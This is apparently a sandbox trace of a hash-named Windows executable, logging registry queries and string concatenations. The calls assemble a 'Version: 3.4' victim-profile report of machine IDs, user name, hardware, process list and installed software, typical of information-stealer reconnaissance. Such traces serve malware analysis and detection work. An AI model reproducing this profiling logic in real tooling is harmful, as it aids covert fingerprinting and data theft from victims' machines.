3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016"
[0054.969] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 ["
[0054.970] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 